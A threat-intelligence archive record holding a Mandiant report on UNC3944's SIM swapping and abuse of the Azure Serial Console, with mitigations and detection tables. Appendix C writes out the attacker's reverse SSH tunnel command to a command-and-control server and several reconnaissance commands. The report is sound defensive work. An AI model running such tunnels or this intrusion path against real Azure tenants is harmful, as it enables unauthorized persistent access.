{ "id": "628bdccc-6cae-4b9a-bb66-3e6c33656bac", "created_at": "2026-04-06T00:19:11.581204Z", "updated_at": "2026-04-10T03:35:21.346874Z", "deleted_at": null, "sha1_hash": "9fc233f6dc51cb77e1f8ee76a04ce3caed613767", "title": "SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack | Mandiant", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 973591, "plain_text": "SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial\r\nIs Part of a Well Balanced Attack | Mandiant\r\nBy Mandiant\r\nPublished: 2023-05-16 · Archived: 2026-04-05 18:28:32 UTC\r\nWritten by: Mandiant Intelligence\r\nIn 2022, Mandiant identified attacker activity centered in Microsoft Azure that Mandiant attributed to UNC3944. Mandiant’s\r\ninvestigation revealed that the attacker employed malicious use of the Serial Console on Azure Virtual Machines (VM) to\r\ninstall third-party remote management software within client environments. This method of attack was unique in that it\r\navoided many of the traditional detection methods employed within Azure and provided the attacker with full administrative\r\naccess to the VM. Unfortunately, cloud resources are often poorly misunderstood, leading to misconfigurations that can\r\nleave these assets vulnerable to attackers. While methods of initial access, lateral movement, and persistence vary from one\r\nattacker to another, one thing is clear: Attackers have their eyes on the cloud.\r\nThreat Actor Spotlight: UNC3944\r\nUNC3944 is a financially motivated threat actor which Mandiant has been tracking since May of 2022. Their tactics often\r\ninclude SIM swapping attacks followed by the establishment of persistence using compromised accounts. Once persistence\r\nhas been established, UNC3944 has been observed modifying and stealing data from within the victim organization’s\r\nenvironment. This threat group heavily relies on email and SMS phishing attacks and have also been observed attempting to\r\nphish other users within an organization once they’ve gained access to employee databases. Mandiant and their partners\r\nhave observed similar attack paths to those described in this post at multiple organizations over time. This particular group\r\ncontinues to evolve and tailor their efforts based on the target.\r\nInitial Access\r\nThis attacker often leverages compromised credentials of administrators or other privileged accounts for initial access. A\r\ncommon tactic employed by this attacker involves SMS phishing privileged users, SIM swapping, and then impersonating\r\nthe users to trick help desk agents into sending a multi-factor reset code via SMS. Mandiant currently doesn’t have enough\r\ndata to determine how the attacker conducts the SIM swaps.\r\nFigure 1: Initial access methodology\r\nLiving off the Azure Land\r\nOnce the attacker gained access to the Azure administrator’s account, they had full access to the Azure tenant due to the\r\nglobal privileges granted to the administrator’s account. With full access to the tenant, there are many actions an attacker can\r\nperform. These actions include: exporting information about the users in the tenant, gathering information about the Azure\r\nenvironment configuration and the various VMs, and creating or modifying accounts. Azure has many different roles by\r\ndefault that can be assigned and configured by the Azure AD Global Administrator regarding Azure Active Directory Roles\r\nand by the Azure Role-Based Access Control Owner or User Access Administrator for Azure RBAC roles.\r\nMandiant has observed this attacker using their access to a highly privileged Azure account to leverage Azure Extensions for\r\nreconnaissance purposes. These extensions are executed inside of a VM and have a variety of legitimate uses which are\r\nfurther described in this post.\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 1 of 9\n\nExtensions Leveraged by the Attacker\r\nFollowing the initial foothold in the Azure environment, Mandiant has observed the attacker using built-in Azure diagnostic\r\nextensions for information gathering purposes. The extension CollectGuestLogs is one such extension leveraged by the\r\nattacker. Microsoft documentation states that CollectGuestLogs can be used to “gather log files for offline analysis and\r\npreservation”. Additionally, based on Mandiant’s review of process creation events within one of the analyzed VM’s,\r\nevidence suggests that the extensions referenced in Table 1 were attempted by the attacker. Additional details regarding\r\nAzure Extensions can be found in Appendix A.\r\nAzure Network Watcher\r\nThe Azure Network Watcher extension allows for network performance monitoring and\r\ndiagnostics. This extension is required for a virtual machine to capture network packets on\r\ndemand.\r\nGuest Agent Automatic\r\nLog Collection\r\nThe Guest Agent Log Collection extension allows for remote acquisition of logs Event\r\nLogs, OS Logs, Azure Logs and select registry keys to support offline troubleshooting.\r\nVMSnapshot\r\nThe VMSnapshot extension allows for an application consistent backup of a virtual machine\r\nwithout having to shut the system down.\r\nGuest configuration\r\nThe Guest configuration extension is a component of Azure Policy which allows for\r\nstandardized policy deployment within an Azure environment.\r\nTable 1: Extensions attempted by the attacker\r\nOnce the attacker completes their reconnaissance, they employ the serial console functionality in order to gain an\r\nadministrative command prompt inside of an Azure VM.\r\nAccess via Serial Connection\r\nAccording to Microsoft documentation, the Special Administration Console (SAC) “allows you to connect to your running\r\nOS via serial port. When you launch CMD from SAC, sacsess.exe launches cmd.exe within your running OS.” It’s also\r\npossible to spawn multiple command prompt sessions from SAC across multiple channels via the serial console as well. As\r\nwith other virtualization platforms, the serial connection permits remote management of systems via the Azure console.\r\nAdditional information regarding serial console logging can be found in Appendix B.\r\nFigure 2: Example of user accessing the command prompt on an Azure VM through the Serial Console\r\nOnce the attacker successfully logs onto a target VM, a process creation event indicates that\r\nC:\\Windows\\System32\\sacsess.exe spawns cmd.exe after which the attacker runs the whoami command which\r\nidentifies the name of the currently logged in user. Figure 3 shows the chain of events and Figure 4 shows what the console\r\nlooks like when a user is connected and running commands.\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 2 of 9\n\nFigure 3: Logon event leading to the launch of the command prompt and the execution of the whoami command on the VM\r\nFigure 4: Example commands run in the command prompt once connected to the Azure VM\r\nMandiant has observed the attacker leveraging PowerShell once logged into a VM by serial console as well as the Azure\r\nextensions detailed in the previous section.\r\nRemote Access Redundancy\r\nTo maintain presence on the VM, the attacker often deploys multiple commercially available remote administration tools via\r\nPowerShell. The advantage of using these tools is that they’re legitimately signed applications and provide the attacker\r\nremote access without triggering alerts in many endpoint detection platforms.\r\nBefore pivoting to another system, this attacker set up a reverse SSH (Secure Shell Protocol) tunnel to the attacker’s\r\ncommand and control (C2) server. Mandiant has observed UNC3944 deploying a reverse tunnel configured such that port\r\nforwarding any inbound connection to remote machine port 12345 would be forwarded to the localhost port 3389 (Remote\r\nDesktop Protocol Service Port) allowing the attacker a direct connection to the Azure VM via Remote Desktop. An example\r\nof the process event is shown in Figure 5.\r\nFigure 5: Example of a Windows Event Log entry showing the execution of the reverse SSH tunnel under NT\r\nAuthority\\SYSTEM\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 3 of 9\n\nFollowing the creation of the SSH tunnel, the attacker established a connection to the SSH tunnel using their current account\r\nor by compromising additional user accounts and leveraging them to connect to the compromised system via Remote\r\nDesktop. Figure 6 shows an example of a Remote Desktop event by the attacker to a compromised VM. The event contained\r\nthe attacker’s hostname and a client address “::%16777216” which indicated a Remote Desktop tunnel as noted in a blog\r\npost by logpoint.\r\nFigure 6: RDP Tunnel session retrieved from the Windows Event Logs on the compromised VM\r\nWithin the Windows event logs collected from a compromised VM, Mandiant observed process creation events for\r\nC:\\Packages\\Plugins\\Microsoft.Compute.VMAccessAgent\\2.4.8\\bin\\JsonVMAccessExtension.exe otherwise known as\r\n“VMAccessAgent” during the timeframe of initial access. Based on the recovered evidence, Mandiant observed activity\r\nconsistent with an attacker remotely accessing an Azure VM via the VMAccessAgent Azure extension.\r\nThe VMAccessAgent extension is used to enable Remote Desktop and facilitate a password reset of an admin account.\r\nMandiant recovered local Windows event logs indicating an attempt to enumerate the local administrators group via this\r\nextension. The attempt triggered a Windows Event ID 4799 event log entry, indicating a security-enabled local group\r\nmembership was enumerated on the compromised Windows virtual machine. Figure 7 shows an example of the recovered\r\nevent.\r\nFigure 7: Windows Event ID 4799 (A security-enabled local group membership was enumerated)\r\nNext, the attacker leveraged a known compromised user account to perform a logon with explicit credentials, resulting in a\r\nsuccessful type 2 (interactive) logon to the same compromised Windows VM. The initiating process referenced was\r\nC:\\Windows\\System32\\sacsess.exe —the process associated with the serial console feature. This is important because\r\nwhen the user transitions from serial console to local command prompt on the target VM, this is logged as a type 2\r\n(interactive) login event as opposed to something more commonly expected such as a type 10 (RemoteInteractive) event\r\noften associated with RDP.\r\nMandiant’s analysis of the VM’s event logs also revealed evidence that showed the execution of the CollectGuestLogs.exe\r\nbinary from the CollectGuestLogs Azure extension. This generated a 4688 event ID on the host which is logged whenever a\r\nnew process is created. The 4688 event typically logs the name and path of the process, who ran the process, and the parent\r\nprocess. In this case, cmd.exe was launched by CollectGuestLogs.exe on this host. See the example in Figure 8.\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 4 of 9\n\nFigure 8: Process creation event for CollectGuestLogs extension\r\nConclusion\r\nFigure 9: Example of attacker attack path observed by Mandiant\r\nLiving off the Land attacks have become far more common as attackers have learned to make use of built-in tools to evade\r\ndetection. The novel use of the serial console by attackers is a reminder that these attacks are no longer limited to the\r\noperating system layer. Mandiant recommends that organizations restrict access to remote administration channels and\r\ndisable SMS as a multifactor authentication method wherever possible. This article by Microsoft contains recommendations\r\nregarding the implementation of phishing-resistant MFA options. Additionally, Mandiant recommends reviewing user\r\naccount permissions for overly permissive users and implementing appropriate Conditional Access Authentication Strength\r\npolicies. The available authentication methods in Azure AD are on the Microsoft website, while least privilege access to the\r\nserial console can be configured according to the following Microsoft guidance. The following appendices contain\r\nadditional details regarding Microsoft Azure Extensions, serial console logging, and various detection opportunities which\r\norganizations can use to detect this attack method.\r\nAppendix A: Azure Extension Details\r\nMicrosoft Azure Extensions\r\nBy default, Azure allows administrators to interact with any Windows VM’s deployed from an Azure Marketplace image\r\nthrough the pre-installed Microsoft Azure Virtual Machine Agent (VM Agent). The primary purpose of this agent is to\r\nperform post-install actions on the VM through various extensions available within the Azure marketplace. The VM Agent\r\nallows a user to start, stop, or monitor a VM extension which performs the actual task on a remote VM.\r\nFor example, an admin can use these extensions to gather diagnostic information about a VM, interact with the VM via\r\nTerraform, or access the VM to reset an administrator password. When an administrator wants to collect diagnostic\r\ninformation on a VM, the Azure VM Diagnostics extension is used.\r\nTo leverage this capability, a VM would either need to install the extension via PowerShell, Azure CLI, or the Azure Portal\r\nor have it included within an Azure Resource Manage template when the VM is created. To enable the Diagnostics extension\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 5 of 9\n\nafter the VM is created, for example, the owner could run the following PowerShell command to deploy and set up the\r\nextension:\r\n\u003e Set-AzVMDiagnosticsExtension -ResourceGroupName \"Resource_Group\" -VMName \"VM_Name\" -\r\nDiagnosticsConfigurationPath \"DiagnosticsConfiguration.json\"\r\nThe custom configuration is referenced within “ DiagnosticsConfiguration.json ”. This is an XML wrapped JSON\r\nconfiguration file that is sent to the remote virtual machine to perform the task. An example of this config can be found in\r\nMicrosoft’s documentation, and partially available as follows:\r\n{\r\n \"PublicConfig\": {\r\n \"WadCfg\": {\r\n \"DiagnosticMonitorConfiguration\": {\r\n \"overallQuotaInMB\": 10000,\r\n \"DiagnosticInfrastructureLogs\": {\r\n \"scheduledTransferLogLevelFilter\": \"Error\"\r\n },\r\n \"WindowsEventLog\": {\r\n \"scheduledTransferPeriod\": \"PT1M\",\r\n \"DataSource\": [\r\n {\r\n \"name\": \"Application!*[System[(Level=1 or Level=2 or Level=3)]]\"\r\n }\r\n ]\r\n }\r\n }\r\n },\r\n \"StorageAccount\": \"mystorageaccount\",\r\n \"StorageType\": \"TableAndBlob\"\r\n },\r\n \"PrivateConfig\": {\r\n \"storageAccountName\": \"mystorageaccount\",\r\n \"storageAccountKey\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\r\n \"storageAccountEndPoint\": \"https://core.windows.net\"\r\n }\r\n}\r\nAppendix B: Serial Console Logging Details\r\nSerial Limitations\r\nSerial Console data plane operations are logged to the boot diagnostics logs for the VM in Azure and are accessible to Azure\r\nVM administrators. These logs will contain any commands that were run within the VM including the output of the\r\ncommands. Serial Console initialization within the Azure Portal is logged to the Azure Activity log, which is available for 90\r\ndays or potentially longer if streamed to a SIEM. While serial console logs are also available within Azure Monitor, they\r\nonly log activity prior to the user connecting to the command prompt within the VM. Any commands executed after the user\r\nhas logged onto the VM are available on the VM itself rather than in the Azure Monitor logs.\r\nAn attempted connection via serial console is still subject to Azure AD authentication. This requires that they have a\r\nusername, domain and password which will be requested when an attempt is made to connect to a VM via serial console.\r\nThe user account must have administrative privileges on the VM in question to successfully connect. However, it should\r\nalso be noted that that an attacker could leverage the “Reset Password” option within the Azure Portal in order to reset the\r\nlocal administrator account defined for a particular VM. This functionality also relies on the attacker having both the target\r\nusername in question and the correct Azure RBAC privileges. The built-in roles which can utilize the serial console are as\r\nfollows:\r\nOwner\r\nContributor\r\nVirtual Machine Contributor\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 6 of 9\n\nThe wildcard (*) action type can also allow access to the serial console. Additionally, the specific permission needed for\r\nserial console access falls under the Microsoft.SerialConsole/serialPorts/connect action. Any attempts to launch the serial\r\nconsole without the required permissions will result in a 403 Unauthorized Error.\r\nFigure 10: Example of connecting to a launched command prompt via the Serial Console on an Azure VM\r\nIt should be noted that the Serial Console is enabled by default on newer images deployed within Azure. According to the\r\nMicrosoft Azure Serial Console documentation, the following requirements are needed in order to leverage the serial\r\nconsole :\r\nBoot diagnostics, which are enabled by default on new deployments, must be enabled for the VM\r\nA user account that uses password authentication must exist within the VM.\r\nThe Azure account accessing the serial console must have the Virtual Machine Contributor role for both the VM and\r\nthe boot diagnostics storage account\r\nThe VM or VM Scale Set must use the Azure Resource Manager deployment model\r\nThe storage account used to store the Serial Console logs must have the Allow Storage Account Key Access function\r\nenabled\r\nAppendix C: Detection Opportunities\r\nDetection Opportunities — Local Events\r\nDetection\r\nOpportunity\r\nMITRE\r\nATT\u0026CK\r\nEvent Details\r\nInbound RDP\r\nTunneling over SSH\r\nT1572\r\nParent Process: cmd.exe\r\nProcess: ssh.exe\r\nCommand Line: ssh -R 0.0.0.0:12345:localhost:3389 root@\r\nInternal\r\nReconnaissance\r\nCommands\r\nT1059\r\nGrandparent Process: C:\\Windows\\System32\\sacsess.exe\r\nParent Process: C:\\Windows\\System32\\cmd.exe\r\nCommand Line (examples):\r\nwhoami\r\nping\r\nping google[.]com\r\nnet group “” /domain\r\nnltest /dclist:\r\nValid credential\r\nlogin by serial\r\nconsole\r\nT1078\r\nParent Process:  sacsess.exe\r\nProcess:  cmd.exe\r\nEvent ID: 4648 \r\nSubject Username: \u003ccompromised user\u003e\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 7 of 9\n\nSuccessful Login: 4624 Event Id generated\r\nUnsuccessful Login: 4625 Event Id generated\r\nPowerShell\r\nConsole_History.txt\r\nT1059.001\r\nFound\r\nin %APPDATA%\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\r\nwhen enabled. Records the history of PowerShell commands run on the system.\r\nTable 2: Local Windows Event Log and PowerShell Detection Opportunities\r\nDetection Opportunities — Azure\r\nDetection\r\nOpportunity \r\nMITRE\r\nATT\u0026CK \r\nEvent Details \r\nMonitor for\r\nVirtual\r\nMachine\r\nCreation or\r\nModification \r\nT1578 \r\nLog Source: Azure Activity Log \r\nOperation (Example): Create or Update Virtual Machine Extension\r\nStatus: Started \r\nIP Address: \u003cthreat actor IP\u003e\r\nLevel: Informational \r\nEvent Initiated by: \u003ccompromised user\u003e\r\nResource:  /subscriptions/\u003csubscription\u003e/resourcegroups/\u003cgroup\u003e/providers/Microsoft.Compute/virtualM\r\nVM\u003e/extensions/enablevmaccess\r\nRun\r\nCommand on\r\nVirtual\r\nMachine \r\nT1059 \r\nLog Source: Azure Activity Log \r\nOperation (Example): Run Command on Virtual Machine \r\nStatus: Succeeded \r\nIP Address: \u003cthreat actor IP\u003e\r\nLevel: Informational \r\nEvent Initiated by: \u003ccompromised user\u003e\r\nResource:  /subscriptions/\u003csubscription\u003e/resourceGroups/\u003cgroup\u003e/providers/Microsoft.Compute/virtualM\r\nVM\u003e\r\nConnect to\r\nVirtual\r\nMachine by\r\nSerial\r\nConsole \r\nT1078.004  Log Source: Azure Activity Log \r\nOperation (Example): Connect to Virtual Machine by Serial Console \r\nStatus: Started \r\nIP Address: \u003cthreat actor IP\u003e\r\nLevel: Informational \r\nUser: \u003ccompromised user\u003e\r\nResource:  /subscriptions/\u003csubscription\u003e/resourcegroups/\u003cgroup\u003e/providers/Microsoft.Compute/virtualM\r\nVM\u003e/providers/Microsoft.SerialConsole/serialPorts/0\r\n \r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 8 of 9\n\nNote: Two Azure Activity Log Events are generated which are tied together by the same correlationId value. Oth\r\ninterest in the JSON for the event include:\r\neventName/value: BeginRequest\r\nStatus: Succeeded\r\neventName/value: EndRequest\r\nsubstatus: OK (200)\r\nTable 3: Azure Monitor Activity Logs Detection Opportunities\r\nAcknowledgements\r\nThis post was made possible by the efforts of many people across multiple regions within Mandiant. Mandiant also thanks\r\nMicrosoft DART for their insight and contributions to this post. \r\nPosted in\r\nThreat Intelligence\r\nSource: https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nhttps://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial\r\nPage 9 of 9", "extraction_quality": 1, "language": "EN", "sources": [ "MITRE" ], "references": [ "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial" ], "report_names": [ "sim-swapping-abuse-azure-serial" ], "threat_actors": [ { "id": "7da6012f-680b-48fb-80c4-1b8cf82efb9c", "created_at": "2023-11-01T02:01:06.643737Z", "updated_at": "2026-04-10T02:00:05.340198Z", "deleted_at": null, "main_name": "Scattered Spider", "aliases": [ "Scattered Spider", "Roasted 0ktapus", "Octo Tempest", "Storm-0875", "UNC3944" ], "source_name": "MITRE:Scattered Spider", "tools": [ "WarzoneRAT", "Rclone", "LaZagne", "Mimikatz", "Raccoon Stealer", "ngrok", "BlackCat", "ConnectWise" ], "source_id": "MITRE", "reports": null }, { "id": "2864e40a-f233-4618-ac61-b03760a41cbb", "created_at": "2023-12-01T02:02:34.272108Z", "updated_at": "2026-04-10T02:00:04.97558Z", "deleted_at": null, "main_name": "WildCard", "aliases": [], "source_name": "ETDA:WildCard", "tools": [ "RustDown", "SysJoker" ], "source_id": "ETDA", "reports": null }, { "id": "c3b908de-3dd1-4e5d-ba24-5af8217371f0", "created_at": "2023-10-03T02:00:08.510742Z", "updated_at": "2026-04-10T02:00:03.374705Z", "deleted_at": null, "main_name": "Scattered Spider", "aliases": [ "UNC3944", "Scattered Swine", "Octo Tempest", "DEV-0971", "Starfraud", "Muddled Libra", "Oktapus", "Scatter Swine", "0ktapus", "Storm-0971" ], "source_name": "MISPGALAXY:Scattered Spider", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "d093e8d9-b093-47b8-a988-2a5cbf3ccec9", "created_at": "2023-10-14T02:03:13.99057Z", "updated_at": "2026-04-10T02:00:04.531987Z", "deleted_at": null, "main_name": "Scattered Spider", "aliases": [ "0ktapus", "LUCR-3", "Muddled Libra", "Octo Tempest", "Scatter Swine", "Scattered Spider", "Star Fraud", "Storm-0875", "UNC3944" ], "source_name": "ETDA:Scattered Spider", "tools": [ "ADRecon", "AnyDesk", "ConnectWise", "DCSync", "FiveTran", "FleetDeck", "Govmomi", "Hekatomb", "Impacket", "LOLBAS", "LOLBins", "LaZagne", "Living off the Land", "Lumma Stealer", "LummaC2", "Mimikatz", "Ngrok", "PingCastle", "ProcDump", "PsExec", "Pulseway", "Pure Storage FlashArray", "Pure Storage FlashArray PowerShell SDK", "RedLine Stealer", "Rsocx", "RustDesk", "ScreenConnect", "SharpHound", "Socat", "Spidey Bot", "Splashtop", "Stealc", "TacticalRMM", "Tailscale", "TightVNC", "VIDAR", "Vidar Stealer", "WinRAR", "WsTunnel", "gosecretsdump" ], "source_id": "ETDA", "reports": null }, { "id": "e424a2db-0f5a-4ee5-96d2-5ab16f1f3824", "created_at": "2024-06-19T02:03:08.062614Z", "updated_at": "2026-04-10T02:00:03.655475Z", "deleted_at": null, "main_name": "GOLD HARVEST", "aliases": [ "Octo Tempest ", "Roasted 0ktapus ", "Scatter Swine ", "Scattered Spider ", "UNC3944 " ], "source_name": "Secureworks:GOLD HARVEST", "tools": [ "AnyDesk", "ConnectWise Control", "Logmein" ], "source_id": "Secureworks", "reports": null }, { "id": "256a6a2d-e8a2-4497-b399-628a7fad4b3e", "created_at": "2023-11-30T02:00:07.299845Z", "updated_at": "2026-04-10T02:00:03.484788Z", "deleted_at": null, "main_name": "WildCard", "aliases": [], "source_name": "MISPGALAXY:WildCard", "tools": [], "source_id": "MISPGALAXY", "reports": null } ], "ts_created_at": 1775434751, "ts_updated_at": 1775792121, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/9fc233f6dc51cb77e1f8ee76a04ce3caed613767.pdf", "text": "https://archive.orkl.eu/9fc233f6dc51cb77e1f8ee76a04ce3caed613767.txt", "img": "https://archive.orkl.eu/9fc233f6dc51cb77e1f8ee76a04ce3caed613767.jpg" } }